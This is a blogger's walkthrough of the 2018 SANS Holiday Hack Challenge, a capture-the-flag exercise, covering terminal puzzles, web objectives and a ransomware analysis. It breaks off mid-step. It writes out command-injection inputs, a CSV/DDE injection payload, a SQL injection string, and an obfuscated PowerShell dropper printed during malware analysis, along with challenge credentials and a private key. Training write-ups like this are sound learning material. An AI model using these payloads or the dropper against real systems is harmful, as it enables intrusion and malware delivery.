Ah…it’s that time of year again. Depending on where you live, the leaves have fallen, and the weather has turned gloomy and cold. But do not despair, SANS Holiday Hack Challenge is upon us to bring you cheer (or extreme frustration)!
Being that this was my first attempt at the SANS Holiday Hack Challenge, I was intrigued as to what I would encounter. Days have passed since I registered and created my avatar. And then the wait was over. The gates opened and I walked through them towards Kringle Castle.
As my journey continues towards the castle, I was greeted by Santa. He provided useful tips regarding the challenge. Continuing to the castle entrance, I stopped and chatted with Jason (the plant) and Elinore Twinkletoes.
Upon entering the castle, I ran into the first of six toy soldiers. When I went to chat with him, I received a very warm greeting…
Directly behind Toy Soldier 1 was Hans and Toy Soldier 4. Toy Soldier 4 provided me with the same warm greeting that Toy Soldier 1 provided.
However, Hans seemed to be a man that could carry on a great conversation.
Just over the right shoulder of Toy Soldier 4 was the event sponsor’s booth for Google. In addition, there was an interesting ventilation panel next to the booth.
Pi Challenge — Essential Editor Skills:
As I continued to explore the Main room, I stopped by to chat with Bushy Evergeen; who is located to the left of Toy Soldier 1 (my right) and by the staircase.
As I was eager to assist, Bushy provided me the following hint:
I logged into the Cranberry Pi system and was viewing a VI session. I entered :wq! and was able to exit VI.
After exiting VI, I received a congratulations message.
Bushy Evergreen was thankful for my assistance and provided me with a hint to the Orientation Challenge.
Remembering Santa’s conversation, I clicked on my badge and was able to view the Essential Editor Skills completion hint from Bushy Evergreen:
· https://holidayhackchallenge.com/past-challenges/
Objective — Orientation Challenge:
Within my badge, I reviewed the Objective section; where I found the Orientation Challenge that Bushy Evergreen informed me about.
The Kringle Con Kiosk was located directly behind Bushy Evergreen and next to the staircase.
I clicked on the Kringle History Kiosk to start the Orientation Challenge. The Objective required that I answer six questions based on previous SANS Holiday Hack Challenges. Using the hint that Bushy Evergreen provided, I was able to answer all six of the questions correctly.
After answering the six questions correctly, I was provided the following phrase that answered the Orientation Challenge question.
Pi Challenge — The Name Game:
Continuing to explore the main room, I stopped by and visited Minty Candycane; located on the left side of the Main room in front of the Google Booth.
Since Minty Candycane asked, I decided to help her make the nametag. Minty Candycane then provided me with the following hints:
· https://ss64.com/ps/call.html
· https://www.digitalocean.com/community/questions/how-do-i-dump-an-sqlite-database
With hints in hand, I established a session to the Cranberry Pi; where I encountered a menu system. After exploring both Option 1 and Option 2, I decided that I would use Option 2.
Seeing that Option 2 requested an IP Address, I entered the loopback address to test the command and it was successful. So, I decided to see if I could use the &with a command (eg. 127.0.0.1&ls).
Interesting, I was able to view the contents of the working directory. In addition, I was able to determine that a SQLite 3.x database of onboard.db was present. So, I used the hints that Minty Candycane provided to dump the database to a backup file (127.0.0.1&sqlite3 onboard.db. dump > onboard.bak).
After validating that the backup file of onboard.bak was created, I issued another ping to read the contents of the file (127.0.0.1&cat onboard.bak).
Seeing that there were a lot of entries within the database, I used the terminal hint from Bushy Evergreen that the individual had the last name of Chan. So, I issued another ping command to read the contents of the file, but only return the results of Chan.
After validating the other terminal hint from Bushy Evergreen, that Chan was from New York or California, I issued the command of 127.0.0.1&./runtoanswer in order to submit the answer of Scott.
Minty Candycane was thankful for my help and provided me with a couple of hints for the second Objective of Directory Browsing.
Remembering to click on my badge, I was able to view the Directory Browsing Objective hints from Minty Candycane:
· On a website, finding browsable directories is sometimes as simple as removing characters from the end of a URL.
· https://portswigger.net/kb/issues/00600100_directory-listing
Objective — Directory Browsing:
Reviewing the Objective section on my badge, I decided that I had enough information to attempt to solve the objective.
Using a browser, I connected to the https://cfp.kringlecastle.com/site and explored it. I noticed that there was a /cfp/ directory that contained the cfp.html file.
Removing the cfp.html entry from the URL, I was able to uncover the Index for the /cfp/ directory.
Reviewing the rejected-talks.csv file, I was able to find that John McClanewas the speaker for the rejected talk of “Data Loss for Rainbow Teams”.
Objective completed.
Google Ventilation Maze:
Within the Main room, I returned to the Google Ventilation shaft and brute forced my way through this challenge and created my own map.
Note: had I completed the Stalling Muck Report and the Data Repo Analysis Objective, I would have been able to download the map.
After completing this challenge, I received a congratulations on the screen.
Exiting the Google Ventilation shaft, I had found Santa’s Secret Room; where Santa, Hans, Alabaster Snowball, and four other challenges were present. At this point, I decided that I needed to return to the Main room and explore the rest of the castle.
Pi Challenge — The Name Game:
As I walked down the stairs, from Santa’s Secret Room, I passed Pepper Minstix and the Yule Log Analysis Cranberry Pi. I continued down the hallway until I ran into Tangle Coalbox.
I decided to help Tangle Coalbox with the investigation. In turn, Tangle provided me with the following hint:
· https://tm4n6.com/2017/11/15/forensic-relevance-of-vim-artifacts/
After connecting to the Cranberry Pi, I listed all hidden files within the working directory; where I found a hidden file named .viminfo.
Next, I reviewed the contents of the file and used the hint from Tangle Coalbox to find the name that the author hid.
Once I had identified the substitution for NEVERMORE, I launched the runtoanswer script and entered the answer of Elinore.
Tangle Coalbox was so thankful for my help, the happy elf provided me with a couple of hints for the third Objective of de Bruijn Sequences.
Clicking on my badge, I was able to view the de Bruijn Sequences Objective hints from Tangle Coalbox:
· https://hackaday.com/2018/06/18/opening-a-ford-with-a-robot-and-the-de-bruijn-sequence/
· http://www.hakank.org/comb/debruijn.cgi
Objective — de Bruijn Sequences:
At this point, I believe that I had enough information to attempt to solve this objective.
The Speaker Unpreparedness Room was to the left of Tangle Coalbox.
However, to enter the room, I needed the correct code. So, reviewing the hints, I decided to brute force my way to unlock the door code. And after a few minutes, success!
With the door unlocked, I walked into the room and found Morcel Nougat.
Morcel was very kind and welcomed me as an unprepared speaker.
Pi Challenge — The Sleighbell:
Exiting the Speaker Unpreparedness Room, I turned right to make my way back to the main level. I bumped into Toy Soldier 5 and received the same heartfelt greeting from him as I did from the other Toy Soldiers.
Continuing, I made my way into the main area of the second floor. This area had seven additional rooms for each Speaker Track session. Closest to the Track 7 room was where I ran into Shinny Upatree.
After agreeing to help Shinny Upatree, I was provided the following hint:
· https://pen-testing.sans.org/blog/2018/12/11/using-gdb-to-call-random-functions
Logging into the Cranberry Pi, I received the following message on the screen:
Reviewing the contents of the directory, as well as the hint from Shinny Upatree, I decided to examine the sleighbell-lotto script with the cat command. However, it appeared to be encoded and not human friendly when it came to reading the content. So, I launched the script to see what would happen.
Examining the other two files of gdb (dynamic debugger) and objump (static debugger), I used objump -d to view the functions within sleighbell-lotto.
Once I found the functions, I issued the command of gdg -q ./slieghbell-lotto to dynamically debug the application for each function that I believe I had found. I then entered break main once I received a (gdb) prompt. Continuing, I then entered run once I received the second (gdb) prompt. Lastly, I entered jump with the correct function winnerwinner for the third (gdb) prompt.
Shinny Upatree was thankful for my help and provided me information on a sinister plot and hints to the Objective of Ransomware.
I believe it was about this time that all the elves noted the following:
Pi Challenge — Escape Python from LA:
Continuing to explore the Second Level, I found Toy Soldier 2.
The usually cheery greeting that I received from the other Toy Soldiers also included the following warm regards:
I eventually reached SugarPlum Mary on the very far left side of the Second Level.
Unfortunately, I was not able to capture the original greeting from SugarPlum Mary. However, she gave me the following hint:
· Check out Mark Baggett’s talk upstairs
After connecting to the Cranberry Pi, I had established a session with a Python Interpreter. Reviewing Mark’s talk, I was able to determine the white/black list of the import, exec, compile, andevalcommands.
Taking notes from Mark’s talk, I was able to obfuscate importing the os.system and launching a Bash shell.
Once I escaped from the Python Interpreter, I launched the i_escaped script.
SugarPlum Mary was so thankful for my help, she provided me with a couple of hints for the Objective of Network Traffic Forensics. The hyperlinked Packalyzer points to the following location: https://packalyzer.kringlecastle.com/
Clicking on my badge, I was able to view the Network Traffic Forensics Objective hints from SugarPlum Mary:
· Did you see Chris’ & Chris’ talk on HTTP/2.0?
Pi Challenge — DevOps Fail:
Directly across from SugarPlum Mary was Sparkle Redberry.
I decided to help Sparkle Redberry. At that point, Sparkle provided me with the following hint:
After connecting to the Cranberry Pi, I listed all hidden files within the working directory and found a directory named kcconfmgmt.
Reviewing the contents of the directory, I found a Git repository. So, I issued the grep command to find all files that had the keyword of password.
Next, I reviewed the contents of one of the files and then used the grepcommand to once again find the keyword of password.
I then reviewed the contents of the config.js.def file from the list of files that contained the keyword of password.
At this point, I was able to determine that the username:password were contained within the API call to the mongodb url. So, I issued the git log -p | grep mongodb command to search the git logs for the keyword of mongodb.
Finding the clear text credentials, I issued the runtoanswer script to submit the password of twinkletwinkletwinkle.
A grateful Sparkle Redberry provided me hints.
Clicking on my badge, I was able to view the HR Incident Response hints from Sparkle Redberry:
· Somehow Brian Hostetler is giving a talk on CSV injection WHILE he’s giving a talk on Trufflehog. Whatta’ guy!
· https://www.owasp.org/index.php/CSV_Injection
Pi Challenge — Stall Mucking Report:
Making my way back to the First Level, I passed Bushy Evergreen and made my way down the hallway on the right side of the Main room. I then passed the KringleCon Swag booth until I came to Wunorse Openslae.
Wunorse Openslae was so delighted that I was going to assist, that the elf provided me with the following hint:
· https://blog.rackspace.com/passwords-on-the-command-line-visible-to-ps
On the console of the Cranberry Pi, I reviewed the note from Wunorse.
Based on the requirements left by Wunhorse Openslae, I decided to list the contents of the home directory; where I found and reviewed the file named report.txt.
After doing some additional investigation, I found that there were three users with processes attached to them.
Seeing that the manager had an active process, I issued another ps -ef, but this time I added grep with the keyword of manager.
Having the credentials to the SMB shared directory, I used the smbclient to connect to it.
Obtaining a smbprompt, I issued the mput report.txt command to upload the report from the Cranberry Pi’s current working directory.
Success!
Once again, I returned to my badge to review the hints that Wunorse Openslae left for the Objective of Data Repo Analysis:
· Brian Hostetler is giving a great Trufflehog talk upstairs
· https://github.com/dxa4481/truffleHog
Objective — Data Repo Analysis:
Since I thought I had enough information, I decided to attempt to solve this objective.
Location of the North Pole Git repository: https://git.kringlecastle.com/Upatree/santas_castle_automation
Using the hints that Wunorse Openslae provided, I installed trufflehog with the pip installer.
After the installation of trufflehog was complete, I launched trufflehog against the North Pole Git repository using the –entropy=True switch to search for passwords.
With the password of Yippee-ki-yay found, I was able to complete this objective.
As a side note, I returned to the North Pole Git repository and found the ventilation_diagram.zip file within the Shinny Upatree>santas_castle_automation>Repository.
After downloading and extracting the contents of the zip file, I was prompt for a password.
I entered the password of Yippee-ki-yay and the files were extracted.
Pi Challenge — Stall Mucking Report:
Returning to the Main room on the first level, I passed Minty Candycane and made my way down the hallway on the left side of the Main room. I then passed by yet another friendly Toy Soldier 6 prior to stopping where Holly Evergreen was located.
Holly Evergreen was happy that I was going to assist, and she provided me with the following hint:
· https://developers.google.com/web/fundamentals/performance/http2/
At the console of the Cranberry Pi, I reviewed the note and hint from Holly Evergreen
After reviewing the config files and hints, I executed the following command:
curl — http2-prior-knowledge http://127.0.0.1:8080
Interesting, HTML code provided a hint to use a POSTwith the parameter of status=on. So, I did some research and issued the following command to enable the status:
curl --http2-prior-knowledge --data status=on http://localhost:8080
Awesome!
After Holly Evergreen provided me with a hint, I reviewed the other hints she left me for the AD Privilege Discovery Objective:
· https://www.youtube.com/watch?v=gOpsLiJFI1o&feature=youtu.be
· https://github.com/BloodHoundAD/BloodHound
Objective — Data Repo Analysis:
Using the hints left by Holly Evergreen, I decided to attempt to solve this objective.
The SANS Slingshot Linux image:
https://download.holidayhackchallenge.com/HHC2018-DomainHack_2018-12-19.ova
After the ova download, I used VMWare to import the file and launch the system.
Once the VM had booted, I launched Bloodhound using the Bloodhound icon on the desktop.
To find the Kerberostedable user, I modified the filter and unchecked RDP (noting the flaw from above). Next, I selected the query for Shortest Paths to Domain Admins from Kerberostable Users and received the following map.
Hovering the mouse over the user icon revealed the fully qualified Active Directory name.
Excellent! I had the fully qualified name of the Kerberostedable user.
Objective — HR Incident:
At this point, I believe I had enough hints from Sparkle Redberry to complete this objective.
Gaining access to the website: https://careers.kringlecastle.com/
After launching the website, I started to investigate it for further information.
I managed to find a “public” folder off of the main site. I made note of both locations in the 404 message. I believed this hint would be needed for the creation of the Dynamic Data Exchange (DDE).
Next, I opened Excel and tried to input =cmd|within the first cell. However, I was unable to save the file. So, I opened a text editor and input the following and saved it as a .csv file.
=cmd|’ /c copy C:\candidate_evaluation.docx C:\careerportal\resources\public\ ‘!A0
Note:the syntax must be exact (no extra white spacing), or the file will not be able to be downloaded.
Returning to the main page of https://careers.kringlecastle.com, I clicked on the Submit Applicationbuttonto upload my newly created the csv file.
Note:no other information needed to be completed within the HTML form.
After about thirty seconds, the “green” area should fade away and no errors should return. Since there were no errors, I browsed to https://careers.kringlecastle.com/public/candidate_evaluation.docx and download the file.
With the file downloaded, I opened it and found the first entry that met the note about the applicant that began with K.
Cool! Yet another answer to an objective completed.
Pi Challenge — Yule Log Analysis:
I Returned to the Second Level to visit Pepper Minstix.
Pepper Minstix asked if I could assist with a password spraying challenge, and then provided me with the following hint:
· https://securityweekly.com/2017/07/21/tsw11/
After viewing the contents of the working directory, I then reviewed the logs with the evtx_dump.py script.
python evtx_dump.py ho-ho-no.evtx
Reviewing the logs, Event ID 4624 appears to be a common occurrence. In addition, the following Microsoft link describes Event ID 4624 as being a successful logon:
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624
Next, I re-ran the Python script and redirect the output to a file called events.
python evtx_dump.py ho-ho-no.evtx > events
Once the events file was created, I searched for the keyword of 4624. Once 4264 was found I wanted to list the first 20 lines of content. Within those twenty lines, I then searched for the keyword of TargetUserName and then sorted the order to a new file called events2.
grep -A 20 4624 events | grep TargetUserName | sort > events2
After the events2 file was created, I issued the cat command to view the data.
With the results returned, I was able to eliminate the service accounts and determined that minty.candycane was the account that was used to password spray. So, I launched runtoanswer and submitted minty.candycane as the answer.
After Pepper Minstixprovided me with a hint, I reviewed the other hints the elf left me for the Badge Manipulation Objective:
· Barcode Creation: https://www.the-qrcode-generator.com/
· SQL Injection: https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF#Auth_Bypass
Pepper Minstix also acknowledged that I stopped Hans!
Objective — Badge Manipulation:
With the hints from Pepper Minstix, I decided to solve this objective.
Sample Badge:
·https://www.holidayhackchallenge.com/2018/challenges/alabaster_badge.jpg
Using the Barcode Creation link from Pepper Minstix hints (https://www.the-qrcode-generator.com/), I created a QR Code of blah’ or 1=1 — -. However, I received the following error:
The above error let me know that there was a requirement of FIRST_NAME, LAST_NAME, and ENABLED. After creating several QR Codes, the following syntax worked:
blah’ or ‘1’ = ’1’ and Enabled=’1
Cool! This objective was solved.
Objective — Network Traffic Forensics:
With the hints from SugarPlum Mary, I decided to review these hints a little closer prior to attempting to solve this objective.
Utilizing the link provided in the Objective Requirement (https://packalyzer.kringlecastle.com), I launched the website and started to investigate.
Next, I right-clicked on the web page to review the source code. I noticed a few interesting scripts within the source code.
After investigating the different links, I modified the URL to connect to the what I believed to be the most interesting link:
https://packalyzer.kringlecastle.com:80/pub/app.js
While inspecting the java script, I noticed a couple of directories as well as two files. Remembering the hint from SugarPlum Mary, I opened another URL link to https://packalyzer.kringlecastle.com/uploads/keys/server.crt and the file was downloaded to my local system. However, I do not believe this was correct and was possibly a rabbit hole.
Continuing to investigate, I noticed what appeared to be a variable of SSLKEYLOGFILE within the app.js code. So, I decided to add the variable to the URL
https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/and then received the following error message:
Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'
Reviewing the same line of code as with the SSLKEYLOGFILE, I noticed another variable called DEV. So, I added it to the URL https://packalyzer.kringlecastle.com/DEV/and received the following error:
Error: EISDIR: illegal operation on a directory, read
Continuing to review line 27of app.js, it appeared that /DEV/SYSKEYLOGFILE/ could be combined to review key logs. However, multiple attempts with various combinations were unsuccessful.
Examining the file name of http2packalyzer_clientrandom_ssl.log a little closer (error from SSLKEYLOG URL), it appeared that the preceding http2 may have been the protocol request/variable. Since app.js was using HTTP and not HTTP2, I dropped the http2 from the file and submitted the following URL:
https://packalyzer.kringlecastle.com/DEV/packalyzer_clientrandom_ssl.log
Bingo! I had obtained the log file with the keys.
As a side note, if I did not have the keys, I could start Wireshark and then Chrome to log the keys to a file:
Start Wireshark/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome -incognito — ssl-key-log-file=~/Desktop/SSL_KEYS.txt — new-window <enter URL>
With the keys in hand, I connected to https://packalyzer.kringlecastle.com/; where I decided to register a new user. Once registered, I logged in with my account and performed a packet capture and then downloaded the capture file to my local system. Next, I refreshed the URL for the packalyzer_clientrandom_ssl.logand saved the contents to a text file.
Note:I found out that the capture and keys were time sensitive; results with HTTP2 were not revealed within Wireshark if time stamps were not synchronized.
Next, I launched Wireshark and then opened the saved .pcap file. In addition, I uploaded the saved SSL keys (SSL_KEYS.txt) within Wireshark to:
Preferences ->Protocols ->SSL ->(Pre)-Master-Secret::log filename
Once the .pcap and SSL keys were loaded, I added a HTTP2 filter within Wireshark. I then reviewed the contents and found Bushy’s login credentials. However, Bushy was not an admin. So, revised the filter to include http2.data.data && http2 contains is_admin and found Alabaster, Bushy, and Peppers login information. However, I still did not have their full credentials.
Searching once again, I modified the filter to only search for http2.data.data. I eventually found Alabaster’s credentials within a JSON file (alabaster\Packer-p@re-turnable192).
In addition, I found credentials for both Bushy (bushy\Floppity_Floppy-flab19283) and Pepper (pepper\Shiz-Bamer_wabl182).
Note:I had to capture several .pcap files until I obtained an admin user.
Next, I returned tohttps://packalyzer.kringlecastle.com/and logged in with Alabaster’s credentials. Once logged in, I then captured traffic and downloaded the capture file to review on my local system.
Within Wireshark, I reviewed the SMTP packets by following it’s TCP Stream. The packet capture revealed that Holly Evergreen sent Alabaster Snowball an email detailing notes for accessing Santa’s Vault, in the key of D, as well as BASE64 content.
Hey Alabaster,Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.
I copied the BASE64 contents to a text file and then uploaded it to https://www.base64decode.org. From there, the website converted the contents and provided me with a downloadable file.
Once downloaded, the file revealed that Holly Evergreen sent Alabaster Snowball an email about the song of Mary Had a Little Lamb.
Objective — Ransomware Recovery:
This object contained four subobjectives that were required to be completed.
Objective — Ransomware Recovery: Catch the Malware:
I decided to help Alabaster Snowball and found the Cranberry Pi with Snort loaded on it.
Once logged into the system, I reviewed the more_info.txtfile and I also reviewed the /etc/snort/rules/local.rules.
For ease of viewing, I used the website and the credentials found within the more_info.txtfile to download the .pcap file(s).
Once the .pcap file(s) are downloaded, I opened them with Wireshark and viewed the data.
Based on the data, there was a repeatable patterns that connected to two different domains. I utilized the contents of the payload to create the following Snort Alert Rule within /etc/snort/rules/local.rules file:
alert udp any any -> any any (msg:”Bad DNS Traffic”; content:”77616E6E61636F6F6B69652E6D696E2E707331”; sid:1000001; rev:001;)
The document link provided the CHOCOLATE_CHIP_COOKIE_RECIPE.zip file.
Objective — Ransomware Recovery: Identify the Domain:
Using the hints from Alabaster Snowball, I downloaded the CHOCOLATE_CHIP_COOKIE_RECIPE.zip file from the following location:
https://www.holidayhackchallenge.com/2018/challenges/CHOCOLATE_CHIP_COOKIE_RECIPE.zip
Next, I download the Olvba application from Github and installed it on my local system based on the instructions.
I then used 7-zip to unzip the CHOCOLATE_CHIP_COOKIE_RECIPE.zip file. When prompted for a password, I used the password that Alabaster Snowball provided (elves).
With the .docm file extracted, I ran the olvebda.py against the CHOCOLATE_CHIP_COOKIE_RECIPE.docm file.
Reviewing the talk from Chris Davis (https://www.youtube.com/watch?v=wd12XRq2DNk), I copied the PowerShell script (from above) and made a modification to export the results to a file named dropper.ps1. Once I was satisfied with the code, I ran it within PowerShell ISE.
powershell.exe -ExecutionPolicy Bypass -C "sal a New-Object; (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" |out-file dropper.ps1"
Reviewing the contents of the newly created dropper.ps1 file, I found the domain name of eroherfanu.com.
Alabaster also provided me another hint within my badge:
· Ransomeware Kill Switches: I think I remember reading an article recently about Ransomware Kill Switches. Wouldn’t it be nice if our ransomware had one!
Objective — Ransomware Recovery: Stop the Malware:
Note:having a Meraki based network with Cisco Umbrella may prevent DNS queries receiving a TXT response. If this occurs, a different network must be used or this objective will not work. The DNS queries and responses may be validated by utilizing Wireshark.
I launched PowerShell ISE and opened the dropper.ps1 file (see Identify Domain Objective). I then modified the script and replaced iex with Write-Host. After modifying the script, I executed the script and it returned an additional script from the C2 server.
After making the script more readable, I added a toggle breakpoint at the end of each function and began debugging the new script that I named wanna2.ps1.
For each breakpoint, I issued the $ plus the variable name or names within each function. Within the H2A function, the $outa variable returned the string of yippeekiyaa.aaay.
Next, I used the HoHoHo Daddy terminal to register yippeekiyaa.aaay as the killswitch domain.
The zip file linked above was for the following URL:
https://www.holidayhackchallenge.com/2018/challenges/forensic_artifacts.zip
Alabaster also provided me a couple of other hints within my badge:
· Memory Strings: Pulling strings from a memory dump using the Linux strings command requires you specify the -e option with the specific format required by the OS and processor. Of course, you could also use powerdump.
· Public / Private Key Encryption: wannacookie.min.ps1? I wonder if there is a non-minified version? If so, it may be easier to read and give us more information and maybe source comments?
Objective — Ransomware Recovery: Recover Alabaster’s Password:
After obtaining and extracting the zip file that Alabaster provided, there were two files:
· powershell.exe_181109_104716.dmp
· alabaster_passwords.elfdb.wannacookie
Using the hint from Alabaster, I launched powerdump and loaded the powershell.exe_181109_104716.dmp file. Once loaded, I instructed powerdump to Process PowerShell Memory Dump. Then I instructed powerdump to Search/Dump Stored PS Variables.
With the Search/Dump Stored PS Variables loaded, I performed two filters. The first was a Regex that looked for hex; matches “^[a-fA-F0–9]+$”. The query returned 196 PowerShell variable values.
Based on the wanna2.ps1 script (see above), I was able to determine that a 512bit encryption key was used. So, to narrow the results even more, I added an additional filter of len == 512. The filter returned 1 PowerShell variable value.
At this point, I printed and then dumped the contents based on the results of the filters.
The file saved within the powershell_var_script_dump directory as variable_values.txt. So, I renamed the file to possible_512.txt.
Once the file was saved and renamed, I clearedthe queries within powerdump. Since the original code was encrypted, I needed to extract the key. Based on the wanna2.ps1 script, the debug appeared to have a SHA1 encryption that was applied. Since SHA1 was 40-bits in length, I added the filter of len == 40. The filter returned 45 PowerShell variable values.
To narrow the results even more, I applied another filter that matches ^[a-fA-F0–9,]+$”. That returned 1 PowerShell variable value of b0e59a5e0f00968856f22cff2d6226697535da5b.
To narrow the results even more, I applied another filter that matches ^[a-fA-F0–9,]+$”. That returned 1 PowerShell variable value of b0e59a5e0f00968856f22cff2d6226697535da5b.
Once again, I printed and dumped the contents based on the results of the filters. In addition, I renamed the variable_values.txt to possible_hash.txt.
I cleared the filters within powerdump for a third time so that I could find possible commands. So, I added the filter of len > 1000. The filter returned 59 PowerShell variable values.
To narrow the results even more, I applied another filter that matches ^[a-fA-F0–9,]+$”. That returned 2 PowerShell variable values.
Again, I printed and dumped the contents based on the results of the filters. In addition, I renamed the variable_values.txt to possible_commands.txt.
Once I obtained the information from powerdump, I modified the original script and obtained both the server.crt and server.key files from the C2 Server.
Output of the server.crt
MIIDXTCCAkWgAwIBAgIJAP6e19cw2sCjMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTgwODAzMTUwMTA3WhcNMTkwODAzMTUwMTA3WjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxIjc2VVG1wmzBi+LDNlLYpUeLHhGZYtgjKAye96h6pfrUqcLSvcuC+s5ywy1kgOrrx/pZh4YXqfbolt77x2AqvjGuRJYwa78EMtHtgq/6njQa3TLULPSpMTCQM9H0SWF77VgDRSReQPjaoyPo3TFbS/Pj1ThlqdTwPA0lu4vvXi5Kj2zQ8QnxYQBhpRxFPnB9Ak6G9EgeR5NEkz1CiiVXN37A/P7etMiU4QsOBipEcBvL6nEAoABlUHizWCTBBb9PlhwLdlsY1k7tx5wHzD7IhJ5P8tdksBzgrWjYxUfBreddg+4nRVVuKebE9Jq6zImCfu8elXjCJK8OLZP9WZWDQIDAQABo1AwTjAdBgNVHQ4EFgQUfeOgZ4f+kxU1/BN/PpHRuzBYzdEwHwYDVR0jBBgwFoAUfeOgZ4f+kxU1/BN/PpHRuzBYzdEwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAhdhDHQvW9Q+Fromk7n2G2eXkTNX1bxz2PS2Q1ZW393Z83aBRWRvQKt/qGCAi9AHg+NB/F0WMZfuuLgziJQTHQS+vvCn3bi1HCwz9w7PFe5CZegaivbaRD0h7V9RHwVfzCGSddUEGBH3j8q7thrKOxOmEwvHi/0ar+0sscBideOGq11hoTn74I+gHjRherRvQWJb4Abfdr4kUnAsdxsl7MTxM0f4t4cdWHyeJUH3yBuT6euId9rn7GQNi61HjChXjEfza8hpBC4OurCKcfQiVoY/0BxXdxgTygwhAdWmvNrHPoQyB5Q9XwgN/wWMtrlPZfy3AW9uGFj/sgJv42xcF+w==
Output of the server.key.
-----BEGIN PRIVATE KEY-----MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMGL4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9uiW3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+NqjI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0STPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaWOTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOmVf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerEKcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1vsC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVxmoCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKyDsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXEJKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBqUdrzXvSwyFuuIqBlkHnWSIeC-----END PRIVATE KEY-----
After obtaining both server.crt and server.key, I need to add the header and footer to server.crt.
-----BEGIN CERTIFICATE----------END CERTIFICATE-----
Once the server.crt file was modified and saved, I used OpenSSL to create a .pfx (Personal Information Exchange) file.
Next, I needed to modify the original script to be able to obtain a decrypted AES 128 key.
